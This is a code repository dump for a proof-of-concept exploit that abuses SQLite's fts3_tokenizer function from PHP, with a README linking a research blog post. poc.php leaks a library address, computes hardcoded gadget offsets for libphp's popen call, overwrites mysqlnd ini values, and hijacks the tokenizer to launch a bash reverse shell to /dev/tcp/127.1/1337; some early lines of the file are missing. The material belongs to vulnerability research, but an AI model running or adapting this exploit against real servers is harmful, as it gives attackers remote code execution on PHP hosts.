├── README.md ├── LICENSE └── poc.php /README.md: -------------------------------------------------------------------------------- 1 | # BadTokenizerPoc 2 | 3 | [特性还是漏洞?滥用 SQLite 分词器](http://blog.chaitin.com/abusing_fts3_tokenizer/) 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2016 周知日 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /poc.php: -------------------------------------------------------------------------------- 1 | $val) { 32 | $content = "php_value $key $val" . PHP_EOL; 33 | file_put_contents($file, $content, FILE_APPEND); 34 | } 35 | } 36 | 37 | /** Note: 38 | * php5 does not support pack('Q'), so directly manipulate 39 | * hex string to flip byte order 40 | **/ 41 | function flip($val) { 42 | $len = strlen($val); 43 | $result = ''; 44 | for ($i = $len; $i > 2; $i-=2) { 45 | $result .= substr($val, $i - 2, 2); 46 | } 47 | $result .= substr($val, 0, $i); 48 | $result .= str_repeat('0', 16 - $len); 49 | return $result; 50 | } 51 | 52 | // gadgets 53 | 54 | // mysqlnd 55 | 56 | $mysqlnd_net_cmd_buffer_size = 0x2434A8; 57 | $mysqlnd_log_mask = $mysqlnd_net_cmd_buffer_size + 0x10; 58 | $fake_module = $mysqlnd_net_cmd_buffer_size - 8; 59 | 60 | // libphp 61 | 62 | // .text:00000000002F137A mov rbx, rsi 63 | // .text:00000000002F137D lea rsi, aRbLR+5 ; modes 64 | // .text:00000000002F1384 sub rsp, 58h 65 | // .text:00000000002F1388 mov [rsp+88h+var_74], edi 66 | // .text:00000000002F138C mov rdi, rbx ; command 67 | // .text:00000000002F138F mov [rsp+88h+var_58], rdx 68 | // .text:00000000002F1394 mov rax, fs:28h 69 | // .text:00000000002F139D mov [rsp+88h+var_40], rax 70 | // .text:00000000002F13A2 xor eax, eax 71 | // .text:00000000002F13A4 mov [rsp+88h+var_50], rcx 72 | // .text:00000000002F13A9 mov [rsp+88h+var_48], 0 73 | // .text:00000000002F13B2 call _popen 74 | 75 | $system = 0x2F137A; 76 | 77 | // libsqlite3 78 | 79 | $simpleTokenizerModule = 0x2C1BE0; 80 | $simpleCreate = 0x29400; 81 | 82 | $db = new SQLite3(":memory:"); 83 | if (isset($_GET['base'])) { 84 | // step two 85 | 86 | $libmysqlnd_base = hexdec($_GET['base']); 87 | $stage = $libmysqlnd_base + $fake_module; 88 | $bomb = flip(dechex($stage)); 89 | $db->exec("select fts3_tokenizer('simple', x'$bomb'); 90 | create virtual table a using fts3; 91 | insert into a values('bash -c \"bash>/dev/tcp/127.1/1337 0<&1\"')"); 92 | } else { 93 | // step one 94 | 95 | $row = $db->query("select hex(fts3_tokenizer('simple')) addr;")->fetchArray(); 96 | $leaked_addr = $row['addr']; 97 | $db->close(); 98 | 99 | $addr = hexdec(flip($leaked_addr)); 100 | $libsqlite3_base = $addr - $simpleTokenizerModule; 101 | $libphp_base = $libsqlite3_base + 0x6234000; 102 | $libmysqlnd_base = $libsqlite3_base + 0x113a000; 103 | $simple_create = $libsqlite3_base + $simpleCreate; 104 | 105 | my_ini_set(array( 106 | 'mysqlnd.net_cmd_buffer_size' => $simple_create, 107 | 'mysqlnd.log_mask' => $libphp_base + $system)); 108 | die(dechex($libmysqlnd_base)); 109 | } 110 | 111 | --------------------------------------------------------------------------------